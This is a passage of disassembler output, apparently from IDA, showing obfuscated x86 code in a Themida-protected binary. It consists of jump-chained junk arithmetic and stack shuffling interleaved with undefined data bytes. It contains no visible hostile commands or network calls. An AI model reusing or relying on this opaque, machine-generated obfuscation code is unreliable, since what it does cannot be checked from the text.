; ---------------------------------------------------------------------------
		dw 0C381h
		dd 5562F0Fh, 5DF4C381h,	0CB0164FAh, 5DF4EB81h, 0BE5664FAh
		dd 5562F0Fh, 34FFF329h,	4484E924h, 0D0010000h, 0B4E9555Ah
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56680F:				; CODE XREF: Themida_:00564AF4j
		pop	ebx
		add	eax, edx
		pop	edx
		jmp	loc_55DB9C
; ---------------------------------------------------------------------------
		dd 0DE9F789h, 5FFFF8Dh,	3F65244Ch, 0FF66D5E9h, 240C8BFFh
		dd 53C5E9h, 81E68900h, 4C6h, 4C68100h, 87000000h, 15C2434h
		dd 0FF04246Ch, 835D2434h, 48B04C4h, 72E2E924h, 0DCB6FFFFh
		dd 0C6FEDEF6h, 4C34E9h,	24048B00h, 0E9E68956h, 0FFFF7519h
		dd 0E9240C87h, 0FFFFC503h
; ---------------------------------------------------------------------------


loc_566874:				; CODE XREF: Themida_:0056AF6Bj
		xor	edx, esi
		pop	esi
		sub	esi, edx
		pop	edx
		jmp	loc_55FD79
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 65E36800h, 0A9E90000h
		db 51h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56688F:				; CODE XREF: Themida_:00564BE0j
		xor	[esp], edx
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_568214
; ---------------------------------------------------------------------------
		db 0D2h, 0Ch, 24h
		dd 0C1A3E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5668A6:				; CODE XREF: Themida_:00570CC9j
		push	ebp
		push	ebx
		jmp	loc_5621A8
; ---------------------------------------------------------------------------


loc_5668AD:				; CODE XREF: Themida_:005638F5j
		xor	ebp, [esp]
		xor	[esp], ebp
		mov	eax, [esp]
		jmp	loc_56C074
; ---------------------------------------------------------------------------
		db 80h
		dd 0F02890EEh, 8345E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5668C6:				; CODE XREF: Themida_:005620D7j
		mov	ebx, 7803499Bh
		sub	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5680C1
; ---------------------------------------------------------------------------


loc_5668DB:				; CODE XREF: Themida_:0056AFC3j
		mov	ebp, 0EDCDF73Ch
		sub	ebx, 520F4B7Fh
		jmp	loc_561758
; ---------------------------------------------------------------------------


loc_5668EB:				; CODE XREF: Themida_:0056C2F9j
		mov	esp, [esp]
		push	ebp
		mov	ebp, 16C84F23h
		jmp	loc_56D3F6
; ---------------------------------------------------------------------------


loc_5668F9:				; CODE XREF: Themida_:0055EBC0j
		xor	ch, 30h
		not	ch
		neg	ch
		add	ch, 5Bh
		jmp	loc_560790
; ---------------------------------------------------------------------------


loc_566908:				; CODE XREF: Themida_:00563B96j
		push	esp
		pop	dword ptr [esp]
		jmp	loc_5679DC
; ---------------------------------------------------------------------------
		db 31h,	0EAh, 5Dh
		dd 148BD789h, 4C48324h,	71EBB53h, 0D82948D3h, 68F8295Bh
		dd 1E5Bh, 0B9240C89h, 8B0721Fh,	61B2BD55h, 63E96936h, 8300002Bh
		dd 0C48104C4h, 4, 0FFD0E4E9h, 65F868FFh, 24890000h, 24048124h
		dd 4, 3ADDE9h, 4C48300h, 0FFE884E9h, 97E959FFh,	81000034h
		dd 4C1h, 4C18300h, 0FFE102E9h, 0B8E9ACFFh, 66FFFF7Fh, 68240C8Bh
		dd 76FDh, 68240C89h, 0F19h, 23A9E954h, 0DD010000h, 4ED815Bh
		dd 87000000h, 0BBE9242Ch, 66000012h, 0E9277668h, 821h
		dd 4EF835Eh, 0FFBD89E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5669BD:				; CODE XREF: Themida_:0055D662j
		add	ebx, 3907097h
		jmp	loc_56F445
; ---------------------------------------------------------------------------


loc_5669C8:				; CODE XREF: Themida_:0055D1CDj
		or	eax, eax
		jnz	loc_56DB55
		push	eax
		mov	eax, 79CE09C3h
		jmp	loc_56EB67
; ---------------------------------------------------------------------------


loc_5669DB:				; CODE XREF: Themida_:0056CB8Fj
		add	ebx, 4
		add	ebx, 4
		jmp	loc_55C8E1
; ---------------------------------------------------------------------------
		dd 46855h, 815D0000h, 591513EBh, 9146E91Ch, 0E1890000h
		dd 4C181h, 0E9810000h, 4, 5C240C87h, 88241C89h,	51D7F6E7h
		dd 0FFEB89E9h, 0E95058FFh, 7F2Bh
; ---------------------------------------------------------------------------


loc_566A24:				; CODE XREF: Themida_:00562C6Bj
		add	esp, 4
		add	esp, 4
		neg	edx
		or	edx, 58E86DB2h
		not	edx
		shr	edx, 8
		xor	edx, 201C5244h
		push	esi
		mov	esi, 0C287F26h
		jmp	loc_5619FD
; ---------------------------------------------------------------------------


loc_566A4B:				; CODE XREF: Themida_:0055D830j
		pop	esp
		pop	dword ptr [esp]
		pop	ebx
		shl	ebx, 3
		push	ebp
		mov	ebp, 0A6F0AE48h
		jmp	loc_5677AE
; ---------------------------------------------------------------------------
		dd offset dword_450050+76Dh
		dw 0F75Fh
		dd 148755DDh, 87D2F724h, 815D2414h, 0C8739BEDh,	629EE918h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_566A7A:				; CODE XREF: Themida_:0056BB13j
		mov	[esp], ebx
		jmp	loc_56028B
; ---------------------------------------------------------------------------


loc_566A82:				; CODE XREF: Themida_:005615B1j
		pop	ebx
		or	edi, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_565C87
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFF66C4h, 5324048Bh, 0C381E389h, 4, 0FFBEBDE9h
		dd 0D9F781FFh, 97C4D37h, 0BA65E9F9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566ABA:				; CODE XREF: Themida_:0056EE71j
		push	eax
		mov	eax, 4F92467Ch
		sub	eax, 211C3833h
		jmp	loc_56FBD0
; ---------------------------------------------------------------------------
		dw 0D329h
		dd 0C6C3815Ah, 8105CC35h, 0E576DFC3h, 8DCDE90Eh, 0C4810000h
		dd 4, 97B45066h, 5866E620h, 0E93ECE80h,	0FFFFC5FDh
; ---------------------------------------------------------------------------


loc_566AF4:				; CODE XREF: Themida_:0056C6EBj
		mov	eax, 4
		add	ebp, eax
		pop	eax
		add	ebp, 4
		jmp	loc_560AE7
; ---------------------------------------------------------------------------
		db 83h
		dd 3C8704C7h, 6AE95C24h
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566B13:				; CODE XREF: Themida_:005632ABj
		push	34F0h
		mov	[esp], esp
		jmp	loc_55F8B7
; ---------------------------------------------------------------------------
		dd 4C481h, 0D4F60000h, 0CE68C4FEh, 8900004Eh, 0F7E9241Ch
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566B37:				; CODE XREF: Themida_:0057077Aj
		push	eax
		mov	eax, 18C73CB6h
		shr	eax, 4
		xor	eax, 9852A11h
		jmp	loc_560221
; ---------------------------------------------------------------------------
		dw 815Fh
		dd 856D89EDh, 73C5810Ah, 17DBE48h, 73ED81FDh, 817DBE48h
		dd 856D89C5h, 2C335F0Ah, 242C3124h, 5C242C33h, 0E9028864h
		dd 0FFFF5954h, 5F2434FFh, 4C481h, 0D8010000h, 0C123332Dh
		dd 5CA055Dh, 0BB531942h, 45E07B45h, 0E95BD801h,	152Dh
; ---------------------------------------------------------------------------


loc_566B9C:				; CODE XREF: Themida_:00567810j
		pop	edi
		jmp	loc_56B4A7
; ---------------------------------------------------------------------------
		dw 8157h
		dd 3AFE2404h, 815A3953h, 533AFEEAh, 2434FF39h, 1AE9555Fh
		dd 8BFFFF72h, 0C481243Ch, 4, 47E7D147h,	2757C781h, 8B5762A0h
		dd 0C4812434h, 4, 6CB0E95Fh, 0C89FFFFh,	84B65224h, 81C7F680h
		dd 4ECh, 241C8900h, 0CB8017B3h,	80D3F6C2h, 0DE304CEBh
		dd 81241C8Bh, 4C4h, 9A26800h, 4890000h,	6DE95124h, 6800000Ah
		dd 48C8h, 0E9240C89h, 6CC4h, 52D831ADh,	884E9h,	58C50100h
		dd 0FFE752E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566C31:				; CODE XREF: Themida_:00566D0Aj
		sub	edi, 0FB485740h
		sub	ebp, edi
		pop	edi
		push	311Fh
		mov	[esp], ebx
		push	9A509EFDh
		jmp	loc_564856
; ---------------------------------------------------------------------------
		dd 5C243487h, 51241C89h, 240C8B54h, 4C481h, 0BF570000h
		dd 460243B0h, 0FF737CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566C69:				; CODE XREF: Themida_:0055CF3Dj
		pop	edi
		push	ecx
		jmp	loc_5626B7
; ---------------------------------------------------------------------------


loc_566C70:				; CODE XREF: Themida_:0055CAACj
		xchg	ecx, ebp
		xchg	esi, ecx
		not	esi
		xchg	esi, ecx
		xchg	ecx, ebp
		jmp	loc_56AACA
; ---------------------------------------------------------------------------
		db 88h
		dd 0DC5DE9D0h, 0C181FFFFh, 2A164B00h, 0E9243C8Bh, 0FFFFEFA9h
		dd 4240481h, 58000000h,	4BA52h,	67E90000h, 0BA000062h
		dd 2F471710h, 0D0E9D2F7h, 2900002Ah, 2434FFC8h,	0A31AE959h
		dd 148B0000h, 4C48324h,	4C481h,	0EC830000h, 241C8904h
		dd 55DABBBh, 0CDB95125h, 8159C90Bh, 7D7611F1h, 0FFCB317Eh
		dd 83E92434h, 31FFFFB3h, 1C33241Ch, 0E1F75C24h,	0FFD1CEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566CF9:				; CODE XREF: Themida_:0055F948j
		mov	eax, 53FE1312h
		sub	ebx, eax
		jmp	loc_55CAFB
; ---------------------------------------------------------------------------


loc_566D05:				; CODE XREF: Themida_:0056C69Fj
		mov	edi, 1EEE6183h
		jmp	loc_566C31
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 4C68300h, 0FFE4E6E9h, 32FF66FFh, 6D2E9h
		db 0
; ---------------------------------------------------------------------------


loc_566D25:				; CODE XREF: Themida_:0056B975j
		sub	esi, 90E8CB21h
		jmp	loc_55D1CA
; ---------------------------------------------------------------------------
		dd 54241489h, 4EC835Ah,	0FF59A8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566D3D:				; CODE XREF: Themida_:00567346j
		add	ebx, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5675EE
; ---------------------------------------------------------------------------
		db 1, 0CAh, 53h
		dd 363EE4BBh, 0E9DA013Fh, 0FFFFF110h, 0D90098B1h, 0FFBAF9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566D79:				; CODE XREF: Themida_:0056DC8Bj
		sub	esp, 4
		jmp	loc_56FCFA
; ---------------------------------------------------------------------------
		dd 65C268h, 7C68E900h, 0CB89FFFFh, 0E95BDA89h, 2A2Ch, 0E9DC8850h
		dd 4A2h, 3F1FF681h, 0E9556451h,	37B1h, 4C781h, 3C870000h
		dd 148B5C24h, 4C48124h,	83000000h, 3FE902C0h, 66FFFF7Bh
		dd 6824048Bh, 99Dh, 0E9240489h,	0FFFFE68Fh
; ---------------------------------------------------------------------------


loc_566DD8:				; CODE XREF: Themida_:005702A3j
		xor	esi, 700D44FBh
		not	esi
		inc	esi
		sub	esi, 1
		sub	esi, 0F1BEB248h
		push	ecx
		mov	ecx, esi
		mov	eax, ecx
		pop	ecx
		pop	esi
		push	edi
		mov	edi, 50FB1327h
		neg	edi
		add	edi, 118A15C2h
		jmp	loc_56C0B2
; ---------------------------------------------------------------------------
aPszg		db 'PИZg',0
		dd 2E95B00h
		db 3Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_566E13:				; CODE XREF: Themida_:0056DD07j
		xor	ebx, 4CA207Eh
		jmp	loc_566464
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 0D19BD24h, 0E80979A3h, 0F6E2E95Dh, 0C483FFFFh, 0D7B95104h
		dd 4907CE32h, 2E83BB53h, 0CB811263h, 22674615h,	0C381D3F7h
		dd 9BCD8D6Eh, 1C8BD929h, 4C48324h, 5EBDE981h, 0C18167CFh
		dd 0C9674AC1h, 2EACC381h, 0CB013FA0h, 2EACEB81h, 0E1E93FA0h
		dd 29FFFF5Dh, 2434FFFDh, 4C4815Fh, 1000000h, 242C8BE8h
		dd 4C481h, 31680000h, 89000051h, 5AE9243Ch
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_566E97:				; CODE XREF: Themida_:0055D7D7j
		xor	cl, dl
		inc	cl
		jmp	loc_56E863
; ---------------------------------------------------------------------------
		dd 0E9240489h, 6C99h
; ---------------------------------------------------------------------------


loc_566EA8:				; CODE XREF: Themida_:0056B4D5j
		pop	esi
		add	esp, 4
		mov	eax, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	esi
		push	eax
		jmp	loc_56BED0
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 0C681E689h, 4, 8704C683h, 875C2434h,	575C241Ch, 6D9068h
		dd 24248900h, 2ABEE9h, 0B9685500h, 0E94B5046h, 9D38h, 0C1E9DA01h
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566EF7:				; CODE XREF: Themida_:00568E50j
		push	dword ptr [esp]
		jmp	loc_567BF2
; ---------------------------------------------------------------------------


loc_566EFF:				; CODE XREF: Themida_:0055FFA6j
		push	ebx
		push	ecx
		push	esi
		sub	dword ptr [esp], 39FD290Ch
		jmp	loc_570AED
; ---------------------------------------------------------------------------
		dw 15Eh
		dd 8B042454h, 0C4812414h, 4, 0FFB9C0E9h, 2434FFFFh, 4C48358h
		dd 0FF9893E9h, 24248BFFh, 0B2B25266h, 0B551E2D0h, 0E9EDD024h
		dd 0FFFF9C27h, 0CD469405h, 0DCBD5502h, 0E950BB5Ch, 661Eh
		dd 380ABB53h, 0F7534C51h, 815B241Ch, 6E6C4CC3h,	0F7A5E965h
		dd 0EB81FFFFh, 3C764131h, 4FC8E950h, 0C6810000h, 2FF1A99Fh
		dd 0C066362Dh, 55F02929h, 0F1430BDh, 81D5F77Eh,	0CF7A67C5h
		dd 319DE9A7h, 0ED0D0000h, 0E97F9472h, 70Bh, 0C781E789h
		dd 4, 4B850h, 0C7010000h, 243C8758h, 7CC3685Ch,	34890000h
		dd 4EC8324h, 63D6E9h, 3C895C00h, 37A6BF24h, 0CF813373h
		dd 1C8A4CA1h, 0EF81DFF7h, 10A012F3h, 65F78147h,	89AF646Dh
		dd 2434FFFAh, 0E4E9575Fh, 0B8000018h, 78FB2A74h, 6147E952h
		dd 0EAC10000h, 0CA814204h, 66DE14A7h, 0FF9F70E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567005:				; CODE XREF: Themida_:0056781Fj
		push	5FC4h
		mov	[esp], ebx
		push	26286539h
		pop	ebx
		push	ebp
		mov	ebp, 0D9F79AC7h
		sub	ebx, 6E206CF6h
		jmp	loc_56856D
; ---------------------------------------------------------------------------


loc_567024:				; CODE XREF: Themida_:00563E6Ej
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_55C4CC
; ---------------------------------------------------------------------------
		dd 6A2A2BB8h, 4EC8146h,	89000000h, 0C389241Ch, 9BE9DE89h
		db 5Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56704B:				; CODE XREF: Themida_:0056B55Aj
		mov	eax, esp
		push	ebx
		jmp	loc_56A8FF
; ---------------------------------------------------------------------------


loc_567053:				; CODE XREF: Themida_:00561782j
		push	edx
		jmp	loc_55E539
; ---------------------------------------------------------------------------


loc_567059:				; CODE XREF: Themida_:00569A88j
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	ebp
		jmp	loc_55CF09
; ---------------------------------------------------------------------------
aY1bSua		db '©y1b\Иua',0
		align 4
		dd 5C240C87h, 88240C89h, 535153D1h, 0E952E788h,	0FFFFA5D7h
		dd 4C481h, 0C3830000h, 241C8702h, 2424D35Ch, 542EE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56709E:				; CODE XREF: Themida_:00569078j
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_5615F2
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 0CBE92434h, 0ACFFFFF3h, 0B4505266h, 0FECCFE86h
		dd 52CCFEC4h, 0F40888B6h, 0FED4F65Ah, 0B15153C4h, 0A0C18078h
		dd 0E9CA8852h, 0FFFFCF69h, 8804C483h, 8B01875Ch, 0EC83241Ch
		dd 241C8904h, 3A18E9h, 0FD055F00h, 5276312h, 7AEC09A1h
		dd 4EC81h, 0E2E90000h, 5C000007h, 89241C89h, 4C381E3h
		dd 0E9000000h, 0FFFFB5C1h
; ---------------------------------------------------------------------------


loc_567114:				; CODE XREF: Themida_:0055F133j
		push	3BD8h
		mov	[esp], edx
		jmp	loc_560914
; ---------------------------------------------------------------------------
		db 31h,	3Ch, 24h
		dd 8B243C33h, 89662424h, 99E92404h, 5AFFFF53h, 0FE04C483h
		dd 0D8F580CDh, 6859E800h, 44E1h, 0FF7894E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567149:				; CODE XREF: Themida_:00565D72j
		add	eax, edi
		jmp	loc_5683BD
; ---------------------------------------------------------------------------
aXsf		db 'XИД!',0
		align 2


loc_567156:				; CODE XREF: Themida_:005621ECj
		shr	ecx, 1
		sub	ecx, 1FA13D3Ah
		or	eax, ecx
		pop	ecx
		sub	eax, 247FDDE9h
		sub	esi, eax
		pop	eax
		xchg	esi, [esp]
		pop	esp
		jmp	loc_56ED0E
; ---------------------------------------------------------------------------
		dw 31ADh
		dd 4EC81D8h, 89000000h,	5BE92414h, 5D000035h, 651068h
		dd 242C8900h, 7177E9h, 2434FF00h, 5724048Bh, 0FFDE6BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56719D:				; CODE XREF: Themida_:0055D08Fj
		mov	eax, 35C42558h
		and	eax, 1DE923B0h
		add	eax, 7FA27389h
		shl	eax, 5
		push	ecx
		mov	ecx, 790C0100h
		sub	ecx, 61532E50h
		shl	ecx, 7
		shr	ecx, 5
		not	ecx
		xor	ecx, 87E7F80Fh
		jmp	loc_565646
; ---------------------------------------------------------------------------
		dw 0C301h
		dd offset byte_57EFE9
		dd 4896600h, 28ACB424h,	48B66E3h, 2C48124h, 51000000h
		dd 0E16830B1h, 89000072h, 3EE92404h, 0C0FFFFE4h, 0EA8602EAh
		dd 2E9CDFEh, 5BFFFFB8h,	0CC69E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56720A:				; CODE XREF: Themida_:00561289j
		add	esp, 4
		sub	ecx, ebx
		pop	ebx
		add	esi, ecx
		pop	ecx
		add	esi, 4
		push	387Ah
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		sub	[esp], eax
		pushf
		jmp	loc_55D094
; ---------------------------------------------------------------------------


loc_567233:				; CODE XREF: Themida_:00570DEEj
		mov	[esp], edx
		mov	edx, 4
		add	edi, edx
		jmp	loc_56D9FA
; ---------------------------------------------------------------------------
		dw 0E588h
		dd 0E8885058h, 1E9C288h, 81FFFFFFh, 4ECh, 24248900h, 4240483h
		dd 6824048Fh, 3494h, 57241489h,	0FF6267E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56726D:				; CODE XREF: Themida_:0055F79Bj
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_56B549
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 8F580424h, 248B2404h, 240CD324h, 523AE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567292:				; CODE XREF: Themida_:0055CEB1j
		sub	ebp, eax
		pop	eax
		dec	ebp
		push	eax
		jmp	loc_55F55E
; ---------------------------------------------------------------------------


loc_56729C:				; CODE XREF: Themida_:0056C822j
		pop	ecx
		jmp	loc_56143B
; ---------------------------------------------------------------------------
		dw 0D9F7h
		dd 12CE981h, 0E9812FA3h, 3B0F62EBh, 516FE981h, 0CD017147h
		dd 242C8759h, 0FF24248Bh, 48B2434h, 0A464E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5672CA:				; CODE XREF: Themida_:00565A92j
		pop	eax
		jmp	loc_55F8FA
; ---------------------------------------------------------------------------
		dd 2E1C166h, 2BBA6652h,	0E94A662Dh, 97AEh, 240C8B66h, 2C481h
		dd 0D8000000h, 8904EC83h, 0DBB5240Ch, 4613E9h, 6E08B900h
		dd 53E93455h
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567303:				; CODE XREF: Themida_:0056A266j
		add	edx, 18F76F52h
		sub	edx, ebp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 6EFF68F1h
		shl	esi, 8
		add	esi, 20D54133h
		sub	esi, 0AEB5640h
		add	esi, 1
		push	ebx
		mov	ebx, 0FC5B6CA2h
		sub	esi, ebx
		pop	ebx
		jmp	loc_561B98
; ---------------------------------------------------------------------------


loc_567336:				; CODE XREF: Themida_:0056F51Dj
		and	eax, 25832D37h
		sub	eax, 2481011Dh
		mov	edi, eax
		pop	eax
		add	ebx, edi
		pop	edi
		jmp	loc_566D3D
; ---------------------------------------------------------------------------
		db 56h
		dd 2434FF54h, 2E09E9h, 50FDB200h, 5886E9h
		db 0
; ---------------------------------------------------------------------------


loc_56735D:				; CODE XREF: Themida_:00565517j
		mov	edx, 0
		jmp	loc_560AAE
; ---------------------------------------------------------------------------


loc_567367:				; CODE XREF: Themida_:0056CECBj
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_569ABF
; ---------------------------------------------------------------------------
		db 80h,	0EFh, 33h
		dd 28585866h, 241C8BF8h, 4C481h, 0EC810000h, 4,	0E9241489h
		dd 387Bh, 8704EA83h, 895C2414h,	9AB9240Ch, 5152E418h, 74E9595Ah
		dd 66FFFF7Fh, 8324048Bh, 0C8904ECh, 6E696824h, 24890000h
		dd 24048324h, 40E95904h, 50000062h, 2B8h, 58C58900h, 685DE801h
		dd 2E47h, 89243C89h, 4C781E7h, 0E9000000h, 8E88h, 4C481h
		dd 0BFE90000h, 1FFFFE2h, 2CE951FBh, 0E9FFFF61h,	0FFFF50D0h
		dd 8124048Bh, 4C4h, 982C5A00h, 0D8282C2Ch, 98042C04h, 0FF56D3E9h
		dd 5BD829FFh, 0E9D801h,	58FFFFF4h, 52EDF581h, 0C5813A13h
		dd 133F0F13h, 0FFB49FE9h, 4748B9FFh, 0BD5505C8h, 0F7661A7h
		dd 0DA7BC581h, 0E931494Fh, 2CC8E95Dh, 0C4830000h, 24148704h
		dd 0E924248Bh, 0FFFF6BD1h
; ---------------------------------------------------------------------------


loc_567458:				; CODE XREF: Themida_:0055E587j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_56E225
; ---------------------------------------------------------------------------


loc_567463:				; CODE XREF: Themida_:00565648j
		pop	ecx
		sub	eax, 9B0A6969h
		jmp	loc_565BB6
; ---------------------------------------------------------------------------


loc_56746E:				; CODE XREF: Themida_:0055C937j
		mov	ebx, esi
		jmp	loc_55C4DC
; ---------------------------------------------------------------------------
		db 89h,	0CEh, 0FFh
		dd 0C8B2434h, 4C48324h,	4C481h,	0F2290000h, 8324348Bh
		dd 555304C4h, 3288BF57h, 3A680645h, 89000076h, 0DBBE2434h
		dd 0BD6E4437h, 4A84E8D8h, 0FF8B8EE9h, 0E28952FFh, 4C281h
		dd 0D5E90000h, 66FFFFFEh, 66793F68h, 0E9240C89h, 0FFFF5004h
		dd 8704C283h, 248B2414h, 4C48124h, 33000000h, 0C6E9242Ch
		dd 57FFFF89h, 2434FF54h, 83243C8Bh, 0C48104C4h,	4, 0FFD1FBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5674F5:				; CODE XREF: Themida_:0055E8E0j
		xchg	edi, [esp]
		mov	esp, [esp]
		push	43F3h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	esi
		jmp	loc_55F7A8
; ---------------------------------------------------------------------------
		dd 0FF4FB7E9h, 4C481FFh, 5F000000h, 0E9E68956h,	0FFFFA3C6h
		dd 0BA241489h, 1C33C332h, 148BD031h, 86E95124h,	81FFFFD5h
		dd 0CF731EEEh, 242C8B4Ah, 6804C483h, 2B64h, 375E9h, 76EE8100h
		dd 8B27BF25h, 0C4812414h, 4, 8D24F681h,	0F289938Bh, 5E2434FFh
		dd 4C481h, 55560000h, 7B2BE6BDh, 8EDC150h, 0D3ADC581h
		dd 0EE896EECh, 3FC6815Dh, 1956E1Ah, 0D0315EF2h,	0E954555Ah
		dd 0FFFF7D69h, 89242C89h, 4C581E5h, 0E9000000h,	0FFFFC9F5h
		dd 24048B66h, 4EC81h, 14890000h, 515A5424h, 0A97581B9h
		dd 1FE1814Fh, 0E913D07Ah, 0FFFFC25Bh
; ---------------------------------------------------------------------------


loc_5675C4:				; CODE XREF: Themida_:0056BBAEj
		add	esi, edx
		mov	edx, [esp]
		jmp	loc_55F5C3
; ---------------------------------------------------------------------------
		dw 1C33h
		dd 24248B24h, 0F66F1F6h, 6866CCB6h, 8966212Ch, 0F66240Ch
		dd 5166C8B6h, 4EDEE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5675EE:				; CODE XREF: Themida_:00566D5Cj
		push	64FBh
		mov	[esp], edi
		push	dword ptr [esp+4]
		jmp	loc_566322
; ---------------------------------------------------------------------------


loc_5675FF:				; CODE XREF: Themida_:0056F7DFj
		push	edx
		mov	edx, 4
		push	ebp
		mov	ebp, edx
		mov	ecx, ebp
		pop	ebp
		jmp	loc_560641
; ---------------------------------------------------------------------------
		dd 0EC3815Bh, 8121634Ch, 0FAA8C1F3h, 853AE994h,	0F746FFFFh
		dd 38CE81DEh, 816D8571h, 0A53703F6h, 0F5895592h, 82E9E889h
		db 66h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56763B:				; CODE XREF: Themida_:0056E156j
		mov	edi, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	3E7Ch
		mov	[esp], esi
		jmp	loc_56E1F3
; ---------------------------------------------------------------------------
		db 58h,	0F7h, 0DAh
		dd 0A79EEA81h, 0EC83AA9Fh, 24148904h, 78BCE95Fh, 77FFFFFFh
		dd 58669D1Ch, 9C240418h, 0FF4E53E9h, 0E9D328FFh, 0FFFFB738h
		dd 0E952F188h, 5AFBh
; ---------------------------------------------------------------------------


loc_567688:				; CODE XREF: Themida_:00563949j
		mov	ebx, ebp
		pop	ebp
		jmp	loc_55F4F3
; ---------------------------------------------------------------------------


loc_567690:				; CODE XREF: Themida_:0055C853j
		add	edx, ebx
		pop	ebx
		sub	ebx, 95F1E48h
		add	ebx, edx
		add	ebx, 95F1E48h
		pop	edx
		jmp	loc_55D3DD
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0F8E905E0h, 89FFFF6Fh, 4B951E7h, 1000000h, 5DEBE9CFh
		dd 0C2810000h, 74DF4D75h, 5217C281h, 0FA296681h, 5217EA81h
		dd 74E96681h, 89FFFF83h, 0FBE9240Ch, 68FFFFB0h,	513E7554h
		dd 0E9E98759h, 8AFBh
; ---------------------------------------------------------------------------


loc_5676EC:				; CODE XREF: Themida_:0056B37Bj
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	edi
		jmp	loc_56BC18
; ---------------------------------------------------------------------------


loc_5676FB:				; CODE XREF: Themida_:00561EEEj
		push	dword ptr [esp]
		jmp	loc_56BD0F
; ---------------------------------------------------------------------------
aSF		db '[И╫F',0
		dd 7BEF8100h, 159B21Eh,	0C1815FF9h, 4, 5C240C87h, 0E9E18951h
		dd 0FFFFAB98h, 814BDBF7h, 0FD2E3DF3h, 3108E935h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_567732:				; CODE XREF: Themida_:005680C4j
		std
		push	0D0Dh
		mov	[esp], edx
		jmp	loc_56DB05
; ---------------------------------------------------------------------------
		dd 0D20346BBh, 0C1D3F72Bh, 814B04EBh, 0FF425DEBh, 7B75681Bh
		dd 2C890000h, 85466824h, 315DF10Ah, 0DA315DEBh,	0FFD5DFE9h
		dd 0E949B6FFh, 0FFFFF14Bh
; ---------------------------------------------------------------------------


loc_567770:				; CODE XREF: Themida_:0055D0FAj
		pop	ebx
		push	eax
		mov	eax, 29C916D6h
		push	ecx
		jmp	loc_564B0E
; ---------------------------------------------------------------------------
		db 59h,	28h, 0F8h
aSy4		db ',пИY4',0
		dw 8100h
		dd 990FA3C3h, 5DBE5661h, 812A993Ah, 0FC1581F6h,	36EE815Bh
		dd 0E957A7C4h, 0FFFF5E3Ah
; ---------------------------------------------------------------------------


loc_5677A4:				; CODE XREF: Themida_:0056EF62j
		pop	esp
		xchg	ecx, ebp
		not	ecx
		jmp	loc_55D7CB
; ---------------------------------------------------------------------------


loc_5677AE:				; CODE XREF: Themida_:00566A59j
		add	ebx, ebp
		jmp	loc_5605F6
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 4C82BA52h, 0F2816EDEh, 46394B09h, 0F75AD709h, 96F781D7h
		dd 9E54864h, 243C8BF9h,	7BF9E9h
		db 0
; ---------------------------------------------------------------------------


loc_5677D9:				; CODE XREF: Themida_:0056B46Bj
		mov	ebp, 0FFFFFFFFh
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		not	ebx
		push	edi
		mov	edi, 37DD540Fh
		shl	edi, 1
		and	edi, 8957053h
